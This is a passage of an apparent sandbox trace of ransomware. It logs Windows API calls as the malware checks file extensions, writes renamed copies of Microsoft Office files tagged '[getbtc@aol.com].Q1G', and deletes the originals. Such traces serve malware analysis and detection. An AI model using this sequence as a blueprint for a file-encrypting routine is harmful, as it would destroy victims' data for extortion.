Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0257.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0257.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0257.715] lstrlenW (lpString=".doc") returned 4 [0257.716] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0257.716] lstrlenW (lpString=".docx") returned 5 [0257.716] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0257.716] lstrlenW (lpString=".pdf") returned 4 [0257.716] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0257.716] lstrlenW (lpString=".xls") returned 4 [0257.716] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0257.716] lstrlenW (lpString=".xlsx") returned 5 [0257.716] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0257.716] lstrlenW (lpString=".ppt") returned 4 [0257.716] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0257.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0257.716] lstrlenW (lpString=".zip") returned 4 [0257.716] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0257.716] lstrlenW (lpString=".rar") returned 4 [0257.716] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0257.716] lstrlenW (lpString=".bz2") returned 4 [0257.716] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0257.716] lstrlenW (lpString=".7z") returned 3 [0257.716] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0257.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0257.716] lstrlenW (lpString=".dbf") returned 4 [0257.716] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0257.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0257.716] lstrlenW (lpString=".1cd") returned 4 [0257.716] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0257.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0257.716] lstrlenW (lpString=".jpg") returned 4 [0257.716] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0257.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0257.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0257.716] lstrlenW (lpString=".doc") returned 4 [0257.716] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0257.716] lstrlenW (lpString=".docx") returned 5 [0257.716] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0257.717] lstrlenW (lpString=".pdf") returned 4 [0257.717] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0257.717] lstrlenW (lpString=".xls") returned 4 [0257.717] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0257.717] lstrlenW (lpString=".xlsx") returned 5 [0257.717] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0257.717] lstrlenW (lpString=".ppt") returned 4 [0257.717] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0257.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0257.717] lstrlenW (lpString=".zip") returned 4 [0257.717] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0257.717] lstrlenW (lpString=".rar") returned 4 [0257.717] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0257.717] lstrlenW (lpString=".bz2") returned 4 [0257.717] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0257.717] lstrlenW (lpString=".7z") returned 3 [0257.717] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0257.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0257.717] lstrlenW (lpString=".dbf") returned 4 [0257.717] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0257.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0257.717] lstrlenW (lpString=".1cd") returned 4 [0257.717] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0257.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0257.717] lstrlenW (lpString=".jpg") returned 4 [0257.717] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0257.718] lstrcmpiW (lpString1=".ACCDU", lpString2=".Q1G") returned -1 [0257.718] lstrlenW (lpString="ACWZUSR12.ACCDU") returned 15 [0257.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.719] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=3440640) returned 1 [0257.719] CloseHandle (hObject=0x3c8) returned 1 [0257.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu")) returned 0x20 [0257.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0257.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0257.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0257.719] lstrlenW (lpString=".doc") returned 4 [0257.719] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0257.719] lstrlenW (lpString=".docx") returned 5 [0257.719] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0257.719] lstrlenW (lpString=".pdf") returned 4 [0257.719] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0257.719] lstrlenW (lpString=".xls") returned 4 [0257.719] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0257.719] lstrlenW (lpString=".xlsx") returned 5 [0257.719] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0257.719] lstrlenW (lpString=".ppt") returned 4 [0257.719] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0257.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0257.719] lstrlenW (lpString=".zip") returned 4 [0257.719] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0257.719] lstrlenW (lpString=".rar") returned 4 [0257.719] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0257.719] lstrlenW (lpString=".bz2") returned 4 [0257.720] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0257.720] lstrlenW (lpString=".7z") returned 3 [0257.720] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0257.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0257.720] lstrlenW (lpString=".dbf") returned 4 [0257.720] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0257.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0257.720] lstrlenW (lpString=".1cd") returned 4 [0257.720] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0257.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0257.720] lstrlenW (lpString=".jpg") returned 4 [0257.720] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0257.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0257.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0257.720] lstrlenW (lpString=".doc") returned 4 [0257.720] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0257.720] lstrlenW (lpString=".docx") returned 5 [0257.720] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0257.720] lstrlenW (lpString=".pdf") returned 4 [0257.720] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0257.720] lstrlenW (lpString=".xls") returned 4 [0257.720] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0257.720] lstrlenW (lpString=".xlsx") returned 5 [0257.720] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0257.720] lstrlenW (lpString=".ppt") returned 4 [0257.720] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0257.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0257.720] lstrlenW (lpString=".zip") returned 4 [0257.720] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0257.720] lstrlenW (lpString=".rar") returned 4 [0257.720] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0257.720] lstrlenW (lpString=".bz2") returned 4 [0257.720] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0257.720] lstrlenW (lpString=".7z") returned 3 [0257.720] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0257.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0257.721] lstrlenW (lpString=".dbf") returned 4 [0257.721] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0257.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0257.721] lstrlenW (lpString=".1cd") returned 4 [0257.721] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0257.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0257.721] lstrlenW (lpString=".jpg") returned 4 [0257.721] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0257.721] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.721] lstrlenW (lpString="ACCWIZ.DLL") returned 10 [0257.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.722] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=210304) returned 1 [0257.722] CloseHandle (hObject=0x390) returned 1 [0257.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll")) returned 0x20 [0257.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0257.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0257.723] lstrlenW (lpString=".doc") returned 4 [0257.723] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.723] lstrlenW (lpString=".docx") returned 5 [0257.723] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0257.723] lstrlenW (lpString=".pdf") returned 4 [0257.723] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.723] lstrlenW (lpString=".xls") returned 4 [0257.723] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.723] lstrlenW (lpString=".xlsx") returned 5 [0257.723] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0257.723] lstrlenW (lpString=".ppt") returned 4 [0257.723] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0257.723] lstrlenW (lpString=".zip") returned 4 [0257.723] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.723] lstrlenW (lpString=".rar") returned 4 [0257.723] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.723] lstrlenW (lpString=".bz2") returned 4 [0257.723] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.723] lstrlenW (lpString=".7z") returned 3 [0257.723] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0257.723] lstrlenW (lpString=".dbf") returned 4 [0257.723] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.729] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.729] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0257.742] GetLastError () returned 0x0 [0257.742] ReadFile (in: hFile=0x3c8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x33e, lpOverlapped=0x0) returned 1 [0257.781] WriteFile (in: hFile=0x3f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x340, lpOverlapped=0x0) returned 1 [0257.782] ReadFile (in: hFile=0x3c8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.782] WriteFile (in: hFile=0x3f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0257.782] SetEndOfFile (hFile=0x3f0) returned 1 [0257.782] CloseHandle (hObject=0x3f0) returned 1 [0257.782] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.782] SetEndOfFile (hFile=0x3c8) returned 1 [0257.784] CloseHandle (hObject=0x3c8) returned 1 [0257.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.796] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf")) returned 1 [0257.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0257.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0257.868] lstrlenW (lpString=".doc") returned 4 [0257.868] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0257.868] lstrlenW (lpString=".docx") returned 5 [0257.868] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0257.868] lstrlenW (lpString=".pdf") returned 4 [0257.868] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0257.868] lstrlenW (lpString=".xls") returned 4 [0257.868] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0257.868] lstrlenW (lpString=".xlsx") returned 5 [0257.868] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0257.868] lstrlenW (lpString=".ppt") returned 4 [0257.868] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0257.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0257.868] lstrlenW (lpString=".zip") returned 4 [0257.868] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0257.868] lstrlenW (lpString=".rar") returned 4 [0257.868] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0257.868] lstrlenW (lpString=".bz2") returned 4 [0257.868] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0257.868] lstrlenW (lpString=".7z") returned 3 [0257.868] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0257.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0257.868] lstrlenW (lpString=".dbf") returned 4 [0257.868] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0257.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0257.868] lstrlenW (lpString=".1cd") returned 4 [0257.869] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0257.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0257.869] lstrlenW (lpString=".jpg") returned 4 [0257.869] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0257.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0257.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0257.869] lstrlenW (lpString=".doc") returned 4 [0257.869] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0257.869] lstrlenW (lpString=".docx") returned 5 [0257.869] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0257.869] lstrlenW (lpString=".pdf") returned 4 [0257.869] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0257.869] lstrlenW (lpString=".xls") returned 4 [0257.869] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0257.869] lstrlenW (lpString=".xlsx") returned 5 [0257.869] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0257.869] lstrlenW (lpString=".ppt") returned 4 [0257.869] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0257.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0257.869] lstrlenW (lpString=".zip") returned 4 [0257.869] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0257.869] lstrlenW (lpString=".rar") returned 4 [0257.869] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0257.869] lstrlenW (lpString=".bz2") returned 4 [0257.869] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0257.869] lstrlenW (lpString=".7z") returned 3 [0257.869] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0257.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0257.869] lstrlenW (lpString=".dbf") returned 4 [0257.869] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0257.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0257.869] lstrlenW (lpString=".1cd") returned 4 [0257.869] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0257.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0257.869] lstrlenW (lpString=".jpg") returned 4 [0257.870] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0257.870] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.870] lstrlenW (lpString="AUDIOSEARCHLTS.DLL") returned 18 [0257.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.941] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=142776) returned 1 [0257.941] CloseHandle (hObject=0x3c8) returned 1 [0257.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll")) returned 0x20 [0257.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0257.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0257.943] lstrlenW (lpString=".doc") returned 4 [0257.943] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.943] lstrlenW (lpString=".docx") returned 5 [0257.943] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0257.943] lstrlenW (lpString=".pdf") returned 4 [0257.943] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.943] lstrlenW (lpString=".xls") returned 4 [0257.943] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.943] lstrlenW (lpString=".xlsx") returned 5 [0257.943] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0257.943] lstrlenW (lpString=".ppt") returned 4 [0257.943] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0257.943] lstrlenW (lpString=".zip") returned 4 [0257.943] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.943] lstrlenW (lpString=".rar") returned 4 [0257.943] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.943] lstrlenW (lpString=".bz2") returned 4 [0257.943] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.943] lstrlenW (lpString=".7z") returned 3 [0257.943] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0257.943] lstrlenW (lpString=".dbf") returned 4 [0257.943] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0257.943] lstrlenW (lpString=".1cd") returned 4 [0257.943] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0257.943] lstrlenW (lpString=".jpg") returned 4 [0257.943] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0257.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0257.944] lstrlenW (lpString=".doc") returned 4 [0257.944] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.944] lstrlenW (lpString=".docx") returned 5 [0257.944] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0257.944] lstrlenW (lpString=".pdf") returned 4 [0257.944] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.944] lstrlenW (lpString=".xls") returned 4 [0257.944] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.944] lstrlenW (lpString=".xlsx") returned 5 [0257.944] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0257.944] lstrlenW (lpString=".ppt") returned 4 [0257.944] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0257.944] lstrlenW (lpString=".zip") returned 4 [0257.944] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.944] lstrlenW (lpString=".rar") returned 4 [0257.944] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.944] lstrlenW (lpString=".bz2") returned 4 [0257.944] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.944] lstrlenW (lpString=".7z") returned 3 [0257.944] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0257.944] lstrlenW 